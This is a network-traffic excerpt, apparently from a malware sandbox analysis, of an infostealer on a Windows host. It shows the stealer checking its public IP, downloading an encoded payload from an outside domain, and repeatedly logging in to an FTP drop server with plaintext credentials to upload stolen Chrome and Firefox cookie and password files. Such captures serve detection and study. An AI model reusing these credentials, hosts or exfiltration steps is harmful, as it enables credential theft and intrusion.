6e 6a 2f 4a 67 78 6e 4f 72 55 67 49 53 65 43 78 44 55 38 70 71 70 48 43 75 78 49 49 52 69 42 35 42 78 32 73 46 64 33 78 78 69 67 78 56 41 32 38 31 64 Data Ascii: iw8r6H/x9DObgnsSm4yK6NcOk6fvJFVN4zAhP/OJoiz4h/JT1kqSz1HaucAepShR/Sq7Io+HTCrvUYKlHZSGEmef2jpFDaARXHfAmhz7jYvTTgHDAdSLeRi24VOcDtFroLFPR92OrqfQlwOBO4x9WQvBbN7/TNzrPk/q314niWVwSz6Ig1Epm+1DXT3SPG+pFvPeHt8HZs+fjnj/JgxnOrUgISeCxDU8pqpHCuxIIRiB5Bx2sFd3xxigxVA281d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	172.67.74.152	443	4108	C:\Users\Public\Libraries\xrbjyllC.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:35:17 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-10-30 07:35:17 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:35:17 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8da9ba509b14e80f-DFW
2024-10-30 07:35:17 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 Data Ascii: 173.254.250.78

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49751	50.116.93.185	443	1068	C:\Users\Public\Libraries\Cllyjbrx.PIF

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:35:29 UTC	174	OUT	GET /origins/233_Cllyjbrxmng HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: himalayastrek.com
2024-10-30 07:35:29 UTC	209	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:35:29 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 30 Oct 2024 06:08:38 GMT Accept-Ranges: bytes Content-Length: 768392
2024-10-30 07:35:29 UTC	7983	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 4f 45 69 49 54 48 53 63 6d 48 53 55 65 48 53 4d 55 44 68 59 56 49 52 30 62 45 68 6b 69 45 78 41 68 45 78 4d 65 49 52 41 67 4a 68 38 64 49 68 55 64 46 42 30 6e 44 67 34 69 45 42 6b 6d 4a 78 38 68 49 53 59 6a 45 52 79 6d 72 71 56 5a 49 36 65 78 53 30 34 5a 47 53 59 58 44 78 38 6c 47 68 73 55 70 71 36 6c 57 53 4f 6e 73 55 76 30 2b 35 6f 43 54 76 72 79 37 74 33 6b 35 70 6e 66 36 75 66 74 36 65 61 42 41 77 7a 74 35 64 33 70 2b 2f 69 57 37 4f 6a 74 33 4f 66 6d 6d 67 68 4f 33 2f 76 30 39 50 54 72 68 4f 54 79 39 4f 66 70 36 6f 35 51 42 4f 66 71 34 2b 6a 37 35 6f 33 35 2b 2f 62 6b 35 65 69 49 2f 77 66 6f 39 2b 37 7a 2b 50 4b 61 33 75 6a 79 2b 2f 76 6e 6d 2f 31 4c 2b 66 6e 75 36 4f 33 6d 69 50 44 78 33 2f 54 6f 39 59 4e 56 56 50 4c Data Ascii: pq6lWSOnsUsOEiITHScmHSUeHSMUDhYVIR0bEhkiExAhExMeIRAgJh8dIhUdFB0nDg4iEBkmJx8hISYjERymrqVZI6exS04ZGSYXDx8lGhsUpq6lWSOnsUv0+5oCTvry7t3k5pnf6uft6eaBAwzt5d3p+/iW7Ojt3OfmmghO3/v09PTrhOTy9Ofp6o5QBOfq4+j75o35+/bk5eiI/wfo9+7z+PKa3ujy+/vnm/1L+fnu6O3miPDx3/To9YNVVPL
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 67 6c 73 44 36 46 56 69 57 31 6d 54 4d 71 73 70 62 37 34 68 51 38 71 68 52 62 48 55 66 74 70 62 38 69 55 6d 62 4d 59 74 71 30 62 61 39 55 53 6a 44 66 61 76 4c 64 30 4d 45 53 4a 34 31 7a 63 47 67 70 68 5a 68 36 56 72 6f 35 4e 35 58 56 74 37 33 52 69 37 73 63 4d 73 32 7a 58 38 44 36 4c 4f 70 35 66 6c 4a 57 70 4d 50 76 4d 39 54 74 48 64 7a 70 50 57 41 6b 64 69 2b 5a 4f 72 5a 48 31 73 55 74 56 51 59 6a 78 4f 42 46 48 62 34 45 2f 6c 55 2f 48 34 46 57 62 55 66 36 6a 38 78 76 32 64 42 4c 56 70 69 48 67 57 46 44 6f 4a 79 56 76 41 54 5a 51 69 4d 39 50 39 5a 79 74 42 4f 33 61 77 77 6a 57 73 34 48 37 50 66 53 50 2b 45 51 4e 79 43 35 41 32 70 2b 68 63 72 2f 2f 6a 4c 6c 46 6c 67 77 48 48 4e 51 54 4c 30 4c 35 77 59 79 32 36 41 66 6f 2f 6c 4b 6e 48 2f 42 64 2b 6d 79 71 Data Ascii: glsD6FViW1mTMqspb74hQ8qhRbHUftpb8iUmbMYtq0ba9USjDfavLd0MESJ41zcGgphZh6Vro5N5XVt73Ri7scMs2zX8D6LOp5flJWpMPvM9TtHdzpPWAkdi+ZOrZH1sUtVQYjxOBFHb4E/lU/H4FWbUf6j8xv2dBLVpiHgWFDoJyVvATZQiM9P9ZytBO3awwjWs4H7PfSP+EQNyC5A2p+hcr//jLlFlgwHHNQTL0L5wYy26Afo/lKnH/Bd+myq
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 6c 6b 32 70 75 71 4b 6a 69 42 59 4b 44 4c 4b 67 66 33 50 52 6f 58 41 64 35 2b 4d 46 4d 45 2f 32 64 4f 76 47 6f 6c 43 33 51 7a 4e 55 70 4f 6d 4e 73 4f 67 6a 2f 69 58 75 53 53 46 68 74 58 45 74 6a 78 36 32 63 54 36 7a 47 6d 68 6b 30 36 41 51 32 35 56 77 4e 6f 66 69 68 36 4a 4c 49 31 37 50 42 45 55 4e 7a 52 71 38 32 42 47 56 73 61 67 6e 6d 48 78 74 69 5a 57 30 74 46 78 71 4e 69 67 5a 6e 7a 79 31 74 4d 62 4f 2b 62 48 45 73 78 7a 50 71 52 62 56 4c 42 2b 69 32 31 42 4c 53 64 41 53 76 6d 52 62 6c 47 4a 70 63 36 31 43 61 5a 4c 71 38 61 54 47 57 7a 6d 75 49 48 61 6d 31 75 43 6c 72 4c 39 34 54 65 59 57 55 4c 6d 48 42 67 2f 30 2f 5a 4e 33 4b 69 79 2f 74 30 6e 37 62 75 72 68 36 66 53 46 52 70 38 52 54 59 6f 55 49 6e 61 33 79 47 72 79 59 66 57 42 5a 50 5a 39 68 57 33 Data Ascii: lk2puqKjiBYKDLKgf3PRoXAd5+MFME/2dOvGolC3QzNUpOmNsOgj/iXuSSFhtXEtjx62cT6zGmhk06AQ25VwNofih6JLI17PBEUNzRq82BGVsagnmHxtiZW0tFxqNigZnzy1tMbO+bHEsxzPqRbVLB+i21BLSdASvmRblGJpc61CaZLq8aTGWzmuIHam1uClrL94TeYWULmHBg/0/ZN3Kiy/t0n7burh6fSFRp8RTYoUIna3yGryYfWBZPZ9hW3
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 32 73 55 64 58 63 30 79 45 62 35 58 70 37 5a 52 53 5a 38 58 30 58 6b 6c 6e 4e 62 75 37 79 44 61 67 68 6c 72 48 61 73 6f 34 71 50 52 57 37 6c 78 4b 51 50 78 4a 73 57 4e 46 63 6c 67 47 36 6a 76 59 61 35 4a 31 67 70 57 79 59 78 66 74 37 79 46 64 4a 30 6d 4a 55 68 73 54 4e 39 2b 47 64 4a 2f 51 66 38 33 54 61 61 44 4e 70 70 68 33 73 6e 37 4a 78 50 34 41 54 51 65 63 48 48 5a 48 47 6a 49 6e 33 62 4a 45 70 37 55 76 38 62 6c 61 74 6d 73 65 2b 45 43 73 2b 59 75 73 47 48 36 4a 42 2f 6c 56 62 76 68 63 68 73 6a 63 56 7a 69 32 5a 51 56 79 56 72 71 34 68 43 66 6c 61 55 62 76 50 41 38 72 48 31 73 78 4a 4f 6c 33 45 73 53 4c 37 4e 2f 76 77 35 2b 66 79 49 4b 74 46 71 6e 39 39 46 6e 30 30 6b 4b 54 7a 44 74 2f 55 32 41 62 72 2b 53 6f 39 6a 62 74 44 32 46 71 38 72 71 69 6d 43 Data Ascii: 2sUdXc0yEb5Xp7ZRSZ8X0XklnNbu7yDaghlrHaso4qPRW7lxKQPxJsWNFclgG6jvYa5J1gpWyYxft7yFdJ0mJUhsTN9+GdJ/Qf83TaaDNpph3sn7JxP4ATQecHHZHGjIn3bJEp7Uv8blatmse+ECs+YusGH6JB/lVbvhchsjcVzi2ZQVyVrq4hCflaUbvPA8rH1sxJOl3EsSL7N/vw5+fyIKtFqn99Fn00kKTzDt/U2Abr+So9jbtD2Fq8rqimC
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 68 51 71 2f 44 74 70 44 54 39 2f 71 6c 44 77 5a 41 77 54 78 58 66 68 41 61 51 44 62 69 48 67 32 4b 77 75 37 38 62 76 2b 65 75 70 51 6f 67 64 4b 56 6b 30 46 50 6d 46 2f 51 55 76 34 38 52 72 30 37 5a 77 2b 6e 55 52 49 6c 4b 5a 47 49 43 73 42 35 63 6e 34 56 42 41 58 31 77 6f 78 6a 59 39 45 50 54 77 63 48 62 65 32 45 39 34 46 39 48 71 44 6b 36 6d 6b 61 44 2f 47 65 47 47 44 2f 6e 76 34 59 76 77 51 62 69 6d 66 63 43 4f 39 39 52 30 71 4e 4c 43 75 51 55 78 61 73 43 42 4c 46 74 5a 31 33 71 59 4b 52 4d 79 66 43 4b 71 42 58 35 70 30 43 44 66 79 5a 56 30 57 75 48 30 6f 6c 4b 5a 50 50 55 31 59 67 56 37 39 69 4c 66 64 2b 49 7a 77 6b 61 62 38 2f 79 69 75 46 4d 32 6d 59 44 33 51 30 64 35 49 67 47 68 32 57 6b 46 69 6b 4a 4d 58 4c 78 46 76 42 31 7a 61 4b 7a 4f 2b 58 41 33 Data Ascii: hQq/DtpDT9/qlDwZAwTxXfhAaQDbiHg2Kwu78bv+eupQogdKVk0FPmF/QUv48Rr07Zw+nURIlKZGICsB5cn4VBAX1woxjY9EPTwcHbe2E94F9HqDk6mkaD/GeGGD/nv4YvwQbimfcCO99R0qNLCuQUxasCBLFtZ13qYKRMyfCKqBX5p0CDfyZV0WuH0olKZPPU1YgV79iLfd+Izwkab8/yiuFM2mYD3Q0d5IgGh2WkFikJMXLxFvB1zaKzO+XA3
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 45 4a 4a 6a 7a 39 34 43 75 46 57 61 2b 35 49 6d 4b 4e 49 4d 38 2f 4e 72 31 30 70 74 6d 4e 58 33 49 4c 52 6f 6b 31 35 31 49 70 52 39 67 66 6a 5a 2f 6b 6b 79 76 4e 55 50 4d 4f 49 4c 6b 73 39 73 53 76 4a 31 58 4e 78 45 35 62 7a 6c 64 38 4b 41 69 44 77 63 69 33 4d 69 30 6d 78 42 57 38 73 4a 52 6c 2f 41 78 4a 55 51 4f 4b 5a 30 57 76 75 49 73 59 75 75 68 6e 47 53 51 33 70 36 62 51 32 68 56 62 4f 43 32 52 48 73 64 61 7a 4a 59 41 54 48 77 77 2f 4c 56 32 51 55 64 61 65 6f 31 66 65 38 4f 68 77 6c 33 6c 64 39 49 69 36 7a 52 66 59 6d 6f 43 30 34 67 66 77 56 7a 78 44 30 59 78 67 49 70 74 30 56 47 63 70 6e 42 66 35 50 78 77 35 59 44 4c 30 39 31 45 43 58 30 63 45 73 44 78 57 51 7a 67 39 50 6f 42 68 76 41 6b 73 30 78 5a 47 61 35 45 78 57 5a 71 72 51 69 48 6a 51 38 63 56 Data Ascii: EJJjz94CuFWa+5ImKNIM8/Nr10ptmNX3ILRok151IpR9gfjZ/kkyvNUPMOILks9sSvJ1XNxE5bzld8KAiDwci3Mi0mxBW8sJRl/AxJUQOKZ0WvuIsYuuhnGSQ3p6bQ2hVbOC2RHsdazJYATHww/LV2QUdaeo1fe8Ohwl3ld9Ii6zRfYmoC04gfwVzxD0YxgIpt0VGcpnBf5Pxw5YDL091ECX0cEsDxWQzg9PoBhvAks0xZGa5ExWZqrQiHjQ8cV
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 65 31 52 79 54 4f 6c 72 6d 57 66 61 43 6a 4a 55 56 36 44 49 2f 69 7a 69 56 52 38 4e 37 31 4c 35 59 52 2b 59 62 4b 53 79 70 6f 63 2f 63 6c 71 66 6a 6c 54 58 52 49 58 30 67 48 72 34 76 6e 5a 70 63 4b 34 72 4f 2b 31 37 63 78 4c 45 76 66 71 6d 72 36 6c 59 33 4d 76 4e 73 65 36 41 52 4b 7a 4c 4f 4d 31 76 44 46 6b 5a 4f 75 6a 35 67 51 77 52 76 6f 61 55 74 78 36 41 6f 64 53 62 70 48 6b 58 55 67 4c 43 35 79 7a 74 66 54 32 6e 47 30 7a 6a 79 4b 4f 6f 6e 64 44 7a 64 64 6e 42 66 79 39 50 58 68 57 71 54 6f 4a 7a 4d 2b 76 75 6e 5a 6a 79 75 38 51 75 37 6b 6b 4e 30 57 48 4d 56 45 33 54 65 6b 2b 41 30 48 2b 50 57 68 55 33 43 4d 33 61 76 54 2b 4e 4a 2f 6f 33 6c 64 4b 6e 52 30 39 58 4f 2b 69 62 39 41 38 58 36 46 6a 37 4c 67 4e 46 73 5a 64 61 6f 34 64 6b 36 50 37 6d 63 39 4b Data Ascii: e1RyTOlrmWfaCjJUV6DI/iziVR8N71L5YR+YbKSypoc/clqfjlTXRIX0gHr4vnZpcK4rO+17cxLEvfqmr6lY3MvNse6ARKzLOM1vDFkZOuj5gQwRvoaUtx6AodSbpHkXUgLC5yztfT2nG0zjyKOondDzddnBfy9PXhWqToJzM+vunZjyu8Qu7kkN0WHMVE3Tek+A0H+PWhU3CM3avT+NJ/o3ldKnR09XO+ib9A8X6Fj7LgNFsZdao4dk6P7mc9K
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 43 6e 71 47 70 53 68 57 4c 30 41 78 6a 69 67 41 4e 4b 61 41 55 6a 35 47 63 49 46 44 34 70 65 61 68 4f 6a 70 42 4a 6f 67 38 47 78 74 61 64 64 50 49 35 53 62 73 36 38 7a 61 6a 33 67 58 62 6c 63 4f 59 75 57 4a 32 73 32 44 6b 79 4a 72 37 65 4a 32 35 62 4e 48 78 39 58 6e 66 51 2f 75 77 66 4c 4f 48 32 73 37 53 78 67 77 46 2f 31 4a 62 4b 35 35 50 6a 56 4a 53 35 4d 33 71 55 46 75 76 51 4e 4f 4e 50 67 68 4b 75 35 5a 67 74 4f 38 4f 44 79 66 78 35 63 73 2b 32 45 33 45 50 47 31 6e 30 37 2b 6b 47 71 55 70 5a 45 46 46 68 61 73 4e 79 43 63 45 4d 77 43 58 38 41 39 68 33 61 54 73 73 56 39 68 30 53 62 5a 32 58 69 5a 4c 64 34 73 74 79 6d 68 33 64 33 68 52 64 51 36 77 54 4f 67 2b 6d 44 61 6a 75 6c 4f 57 4e 79 44 43 36 79 53 36 68 54 67 72 67 62 58 56 30 7a 73 53 43 4b 45 32 Data Ascii: CnqGpShWL0AxjigANKaAUj5GcIFD4peahOjpBJog8GxtaddPI5Sbs68zaj3gXblcOYuWJ2s2DkyJr7eJ25bNHx9XnfQ/uwfLOH2s7SxgwF/1JbK55PjVJS5M3qUFuvQNONPghKu5ZgtO8ODyfx5cs+2E3EPG1n07+kGqUpZEFFhasNyCcEMwCX8A9h3aTssV9h0SbZ2XiZLd4stymh3d3hRdQ6wTOg+mDajulOWNyDC6yS6hTgrgbXV0zsSCKE2
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 41 70 76 62 61 4b 6e 70 51 4b 50 79 71 44 51 71 66 67 79 79 5a 39 4d 58 42 39 6c 33 6a 48 6b 66 37 4d 70 37 6b 4a 71 63 64 72 62 76 79 4d 32 2b 2b 49 54 71 67 64 68 75 76 50 72 32 59 6b 51 34 46 65 74 4c 41 44 31 6d 4f 31 65 69 4c 35 48 6a 57 5a 69 55 36 55 6b 50 58 61 53 2f 57 33 53 2b 39 31 67 4d 43 50 77 76 2b 51 4a 33 43 4c 31 6b 6a 67 32 4b 35 77 72 36 50 79 61 39 65 35 55 48 74 32 4b 75 32 70 42 49 4e 4d 46 2f 72 4b 42 32 74 69 50 4d 39 6b 68 6b 43 6f 48 6c 2f 67 57 47 4d 55 64 4c 70 61 39 4c 34 50 72 5a 64 62 56 64 78 52 52 77 78 57 43 51 70 4e 67 38 66 5a 39 64 43 6c 66 61 39 75 4f 33 57 58 32 4d 6a 6a 4c 70 6d 73 61 6f 43 43 6f 46 33 53 70 70 45 44 58 76 4a 6e 6f 6c 64 7a 41 2b 30 72 56 63 68 75 4a 53 44 68 39 54 6b 6f 55 68 78 37 72 44 67 57 53 Data Ascii: ApvbaKnpQKPyqDQqfgyyZ9MXB9l3jHkf7Mp7kJqcdrbvyM2++ITqgdhuvPr2YkQ4FetLAD1mO1eiL5HjWZiU6UkPXaS/W3S+91gMCPwv+QJ3CL1kjg2K5wr6Pya9e5UHt2Ku2pBINMF/rKB2tiPM9khkCoHl/gWGMUdLpa9L4PrZdbVdxRRwxWCQpNg8fZ9dClfa9uO3WX2MjjLpmsaoCCoF3SppEDXvJnoldzA+0rVchuJSDh9TkoUhx7rDgWS
2024-10-30 07:35:29 UTC	8000	IN	Data Raw: 69 77 38 72 36 48 2f 78 39 44 4f 62 67 6e 73 53 6d 34 79 4b 36 4e 63 4f 6b 36 66 76 4a 46 56 4e 34 7a 41 68 50 2f 4f 4a 6f 69 7a 34 68 2f 4a 54 31 6b 71 53 7a 31 48 61 75 63 41 65 70 53 68 52 2f 53 71 37 49 6f 2b 48 54 43 72 76 55 59 4b 6c 48 5a 53 47 45 6d 65 66 32 6a 70 46 44 61 41 52 58 48 66 41 6d 68 7a 37 6a 59 76 54 54 67 48 44 41 64 53 4c 65 52 69 32 34 56 4f 63 44 74 46 72 6f 4c 46 50 52 39 32 4f 72 71 66 51 6c 77 4f 42 4f 34 78 39 57 51 76 42 62 4e 37 2f 54 4e 7a 72 50 6b 2f 71 33 31 34 6e 69 57 56 77 53 7a 36 49 67 31 45 70 6d 2b 31 44 58 54 33 53 50 47 2b 70 46 76 50 65 48 74 38 48 5a 73 2b 66 6a 6e 6a 2f 4a 67 78 6e 4f 72 55 67 49 53 65 43 78 44 55 38 70 71 70 48 43 75 78 49 49 52 69 42 35 42 78 32 73 46 64 33 78 78 69 67 78 56 41 32 38 31 64 Data Ascii: iw8r6H/x9DObgnsSm4yK6NcOk6fvJFVN4zAhP/OJoiz4h/JT1kqSz1HaucAepShR/Sq7Io+HTCrvUYKlHZSGEmef2jpFDaARXHfAmhz7jYvTTgHDAdSLeRi24VOcDtFroLFPR92OrqfQlwOBO4x9WQvBbN7/TNzrPk/q314niWVwSz6Ig1Epm+1DXT3SPG+pFvPeHt8HZs+fjnj/JgxnOrUgISeCxDU8pqpHCuxIIRiB5Bx2sFd3xxigxVA281d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49752	172.67.74.152	443	6568	C:\Users\Public\Libraries\xrbjyllC.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 07:35:34 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-10-30 07:35:34 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 07:35:34 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8da9bab9b87de97a-DFW
2024-10-30 07:35:34 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 Data Ascii: 173.254.250.78

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 30, 2024 08:35:09.569416046 CET	21	49734	110.4.45.197	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Oct 30, 2024 08:35:09.569741011 CET	49734	21	192.168.2.4	110.4.45.197	USER origin@haliza.com.my
Oct 30, 2024 08:35:09.908655882 CET	21	49734	110.4.45.197	192.168.2.4	331 User origin@haliza.com.my OK. Password required
Oct 30, 2024 08:35:09.908821106 CET	49734	21	192.168.2.4	110.4.45.197	PASS JesusChrist007$
Oct 30, 2024 08:35:10.273730040 CET	21	49734	110.4.45.197	192.168.2.4	230 OK. Current restricted directory is /
Oct 30, 2024 08:35:10.612694979 CET	21	49734	110.4.45.197	192.168.2.4	504 Unknown command
Oct 30, 2024 08:35:10.612874985 CET	49734	21	192.168.2.4	110.4.45.197	PWD
Oct 30, 2024 08:35:10.951411963 CET	21	49734	110.4.45.197	192.168.2.4	257 "/" is your current location
Oct 30, 2024 08:35:10.951900005 CET	49734	21	192.168.2.4	110.4.45.197	TYPE I
Oct 30, 2024 08:35:11.290183067 CET	21	49734	110.4.45.197	192.168.2.4	200 TYPE is now 8-bit binary
Oct 30, 2024 08:35:11.290445089 CET	49734	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:11.628808975 CET	21	49734	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,198,19)
Oct 30, 2024 08:35:11.635008097 CET	49734	21	192.168.2.4	110.4.45.197	STOR CO_Chrome_Default.txt_user-932923_2024_10_30_04_05_07.txt
Oct 30, 2024 08:35:12.535938025 CET	21	49734	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:12.868870974 CET	21	49734	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.333 seconds (measured here), 9.82 Kbytes per second
Oct 30, 2024 08:35:12.911962032 CET	49734	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:13.251085043 CET	21	49734	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,217,1)
Oct 30, 2024 08:35:13.348221064 CET	49734	21	192.168.2.4	110.4.45.197	STOR CO_Firefox_fqs92o4p.default-release.txt_user-932923_2024_10_30_09_43_49.txt
Oct 30, 2024 08:35:14.264015913 CET	21	49734	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:14.599478960 CET	21	49734	110.4.45.197	192.168.2.4	226 File successfully transferred
Oct 30, 2024 08:35:20.865628004 CET	21	49744	110.4.45.197	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 15:35. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 11 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Oct 30, 2024 08:35:20.865926981 CET	49744	21	192.168.2.4	110.4.45.197	USER origin@haliza.com.my
Oct 30, 2024 08:35:21.207725048 CET	21	49744	110.4.45.197	192.168.2.4	331 User origin@haliza.com.my OK. Password required
Oct 30, 2024 08:35:21.208947897 CET	49744	21	192.168.2.4	110.4.45.197	PASS JesusChrist007$
Oct 30, 2024 08:35:21.581561089 CET	21	49744	110.4.45.197	192.168.2.4	230 OK. Current restricted directory is /
Oct 30, 2024 08:35:21.926707029 CET	21	49744	110.4.45.197	192.168.2.4	504 Unknown command
Oct 30, 2024 08:35:21.926950932 CET	49744	21	192.168.2.4	110.4.45.197	PWD
Oct 30, 2024 08:35:22.269224882 CET	21	49744	110.4.45.197	192.168.2.4	257 "/" is your current location
Oct 30, 2024 08:35:22.269404888 CET	49744	21	192.168.2.4	110.4.45.197	TYPE I
Oct 30, 2024 08:35:22.611031055 CET	21	49744	110.4.45.197	192.168.2.4	200 TYPE is now 8-bit binary
Oct 30, 2024 08:35:22.614164114 CET	49744	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:22.956015110 CET	21	49744	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,213,73)
Oct 30, 2024 08:35:22.962696075 CET	49744	21	192.168.2.4	110.4.45.197	STOR PW_user-932923_2024_10_30_03_35_18.html
Oct 30, 2024 08:35:23.899625063 CET	21	49744	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:24.250138044 CET	21	49744	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.352 seconds (measured here), 0.97 Kbytes per second
Oct 30, 2024 08:35:24.370490074 CET	49744	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:24.883752108 CET	21	49744	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,219,211)
Oct 30, 2024 08:35:24.891191006 CET	49744	21	192.168.2.4	110.4.45.197	STOR CO_Chrome_Default.txt_user-932923_2024_10_30_09_43_59.txt
Oct 30, 2024 08:35:25.791163921 CET	21	49744	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:26.135822058 CET	21	49744	110.4.45.197	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.345 seconds (measured here), 9.51 Kbytes per second
Oct 30, 2024 08:35:26.136253119 CET	49744	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:26.478383064 CET	21	49744	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,244,2)
Oct 30, 2024 08:35:26.487298012 CET	49744	21	192.168.2.4	110.4.45.197	STOR CO_Firefox_fqs92o4p.default-release.txt_user-932923_2024_10_30_12_12_41.txt
Oct 30, 2024 08:35:27.406430006 CET	21	49744	110.4.45.197	192.168.2.4	150 Accepted data connection
Oct 30, 2024 08:35:27.762337923 CET	21	49744	110.4.45.197	192.168.2.4	226 File successfully transferred
Oct 30, 2024 08:35:37.338639975 CET	21	49753	110.4.45.197	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 10 of 50 allowed.220-Local time is now 15:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Oct 30, 2024 08:35:37.340873957 CET	49753	21	192.168.2.4	110.4.45.197	USER origin@haliza.com.my
Oct 30, 2024 08:35:37.670998096 CET	21	49753	110.4.45.197	192.168.2.4	331 User origin@haliza.com.my OK. Password required
Oct 30, 2024 08:35:37.675668001 CET	49753	21	192.168.2.4	110.4.45.197	PASS JesusChrist007$
Oct 30, 2024 08:35:38.028072119 CET	21	49753	110.4.45.197	192.168.2.4	230 OK. Current restricted directory is /
Oct 30, 2024 08:35:38.361502886 CET	21	49753	110.4.45.197	192.168.2.4	504 Unknown command
Oct 30, 2024 08:35:38.361772060 CET	49753	21	192.168.2.4	110.4.45.197	PWD
Oct 30, 2024 08:35:38.690716982 CET	21	49753	110.4.45.197	192.168.2.4	257 "/" is your current location
Oct 30, 2024 08:35:38.690996885 CET	49753	21	192.168.2.4	110.4.45.197	TYPE I
Oct 30, 2024 08:35:39.021226883 CET	21	49753	110.4.45.197	192.168.2.4	200 TYPE is now 8-bit binary
Oct 30, 2024 08:35:39.021478891 CET	49753	21	192.168.2.4	110.4.45.197	PASV
Oct 30, 2024 08:35:39.351174116 CET	21	49753	110.4.45.197	192.168.2.4	227 Entering Passive Mode (110,4,45,197,249,196)
